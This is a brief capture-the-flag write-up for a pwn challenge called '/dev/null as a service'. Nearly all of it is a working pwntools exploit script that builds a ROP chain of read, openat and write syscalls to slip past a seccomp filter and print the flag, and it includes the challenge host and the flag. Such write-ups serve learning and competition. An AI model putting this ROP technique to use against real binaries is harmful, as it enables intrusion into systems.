/dev/null as a service
a great pwn no easy to spot how to solve it, I used an openat() rop tol avoid the seccomp:
#!/usr/bin/env python3
from pwn import *
elf = ELF("./dev_null_patched")
context.binary = elf
context.terminal = ['tmux', 'splitw', '-hp', '70']
#context.log_level = "debug"
libc = elf.libc
gs = '''
b main
continue
'''
def one_gadget(filename, base_addr=0):
return [(int(i)+base_addr) for i in subprocess.check_output(['one_gadget', '--raw', '-l1', filename]).decode().split(' ')]
#onegadgets = one_gadget('libc.so.6', libc.address)
def start():
if args.REMOTE:
return remote("ca8ca38d-5f9a-43d3-962e-73460320265a.x3c.tf", 31337, ssl=True)
if args.GDB:
return gdb.debug([elf.path], gdbscript=gs)
else:
return process([elf.path])
r = start()
def logbase(): log.info("libc base = %#x" % libc.address)
def logleak(name, val): log.info(name+" = %#x" % val)
def sa(delim,data): return r.sendafter(delim,data)
def sla(delim,line): return r.sendlineafter(delim,line)
def sl(line): return r.sendline(line)
def rcu(d1, d2=0):
r.recvuntil(d1, drop=True)
# return data between d1 and d2
if (d2):
return r.recvuntil(d2,drop=True)
#========= exploit here ===================
syscall = 0x000000000040bcd6# syscall; ret;
poprdi = 0x0000000000413795# pop rdi; ret;
poprsi = 0x0000000000402acc #pop rsi; pop rbp; ret;
poprax = 0x000000000042193c # pop rax; ret;
movrdx = 0x000000000041fcfb # mov rdx, rbx; syscall;
#poprbx = 0x0000000000474967 #pop rbx; ret
rwxmem = 0x00000000004b52b0
pivot = 0x4b5000
poprbp = 0x000000000040114c# pop rbp; ret;
poprdx = 0x000000000047d944# pop rdx; or al, 0x5b; pop r12; pop rbp; ret;
payload = b"A"*0x10
#read /home/ctf/flag.txt
payload += p64(poprbp)
payload += p64(pivot)
payload += p64(poprdi)
payload += p64(0)
payload += p64(poprsi)
payload += p64(rwxmem)
payload += p64(0)
payload += p64(poprdx)
payload += p64(0x30)
payload += p64(0)
payload += p64(0)
payload += p64(poprax)
payload += p64(0)
payload += p64(syscall)
#openat /home/ctf/flag.txt
payload += p64(poprdi)
payload += p64(0xffffffffffffffff)
payload += p64(poprsi)
payload += p64(rwxmem)
payload += p64(0)
payload += p64(poprdx)
payload += p64(0x20)
payload += p64(0)
payload += p64(0)
payload += p64(poprax)
payload += p64(257)
payload += p64(syscall)
#read fd
payload += p64(poprdi)
payload += p64(3)#fd
payload += p64(poprsi)
payload += p64(rwxmem+0x30) #write the flag
payload += p64(0)
payload += p64(poprdx)
payload += p64(0x50)
payload += p64(0)
payload += p64(0)
payload += p64(poprax)
payload += p64(0)
payload += p64(syscall)
#write fd
payload += p64(poprdi)
payload += p64(1)#fd
payload += p64(poprsi)
payload += p64(rwxmem+0x30) #write the flag
payload += p64(0)
payload += p64(poprdx)
payload += p64(0x50)
payload += p64(0)
payload += p64(0)
payload += p64(poprax)
payload += p64(1)
payload += p64(syscall)
sla(b"it.\n",payload)
sleep(1)
r.sendline(b"/home/ctf/flag.txt\x00")
#========= interactive ====================
r.interactive()
#MVM{r0p_4nd_sh3llc0d3_f0rm5_4_p3rf3c7_b4l4nc3}